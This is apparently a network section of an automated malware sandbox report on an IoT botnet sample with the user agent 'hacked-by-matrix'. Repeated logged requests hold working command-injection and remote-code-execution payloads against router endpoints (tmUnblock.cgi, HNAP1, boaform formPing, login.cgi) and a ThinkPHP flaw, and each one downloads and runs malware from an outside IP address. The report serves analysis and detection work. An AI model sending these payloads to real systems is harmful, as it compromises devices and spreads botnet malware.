3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.31.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.196.167.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.243.226.119
Source: unknown	TCP traffic detected without corresponding DNS query: 197.240.35.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.207.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.165.122.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.68.214.38
Source: unknown	TCP traffic detected without corresponding DNS query: 197.115.121.109
Source: unknown	TCP traffic detected without corresponding DNS query: 197.237.130.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.227.6.57
Source: unknown	TCP traffic detected without corresponding DNS query: 197.125.245.166
Source: unknown	TCP traffic detected without corresponding DNS query: 197.84.164.21
Source: unknown	TCP traffic detected without corresponding DNS query: 197.80.22.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.101.228.85
Source: unknown	TCP traffic detected without corresponding DNS query: 197.169.33.38
Source: unknown	TCP traffic detected without corresponding DNS query: 197.39.227.4
Source: unknown	TCP traffic detected without corresponding DNS query: 197.143.77.33
Source: unknown	TCP traffic detected without corresponding DNS query: 197.194.173.140
Source: unknown	TCP traffic detected without corresponding DNS query: 197.46.29.159
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.129.154
Source: unknown	TCP traffic detected without corresponding DNS query: 197.239.119.52
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.92.15
Source: unknown	TCP traffic detected without corresponding DNS query: 197.81.228.31
Source: unknown	TCP traffic detected without corresponding DNS query: 197.16.196.44
Source: unknown	TCP traffic detected without corresponding DNS query: 197.226.172.172
Source: unknown	TCP traffic detected without corresponding DNS query: 197.133.31.244
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.151.183
Source: unknown	TCP traffic detected without corresponding DNS query: 197.227.47.28
Source: unknown	TCP traffic detected without corresponding DNS query: 197.248.48.159
Source: unknown	TCP traffic detected without corresponding DNS query: 197.119.231.53
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.173.196
Source: unknown	TCP traffic detected without corresponding DNS query: 197.140.190.79
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.137.204
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.215.130
Source: unknown	TCP traffic detected without corresponding DNS query: 197.185.134.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.71.139
Source: unknown	TCP traffic detected without corresponding DNS query: 197.1.105.33
Source: unknown	TCP traffic detected without corresponding DNS query: 197.40.181.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.37.187.168
Source: unknown	TCP traffic detected without corresponding DNS query: 197.82.91.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.61.182.7
Source: unknown	TCP traffic detected without corresponding DNS query: 197.168.104.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.169.234.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.140.189.255
Source: unknown	TCP traffic detected without corresponding DNS query: 197.151.1.124
Source: unknown	TCP traffic detected without corresponding DNS query: 197.168.160.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.3.149
Source: unknown	TCP traffic detected without corresponding DNS query: 197.253.19.209
Source: unknown	TCP traffic detected without corresponding DNS query: 197.226.114.251
Source: unknown	TCP traffic detected without corresponding DNS query: 197.143.73.35

Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
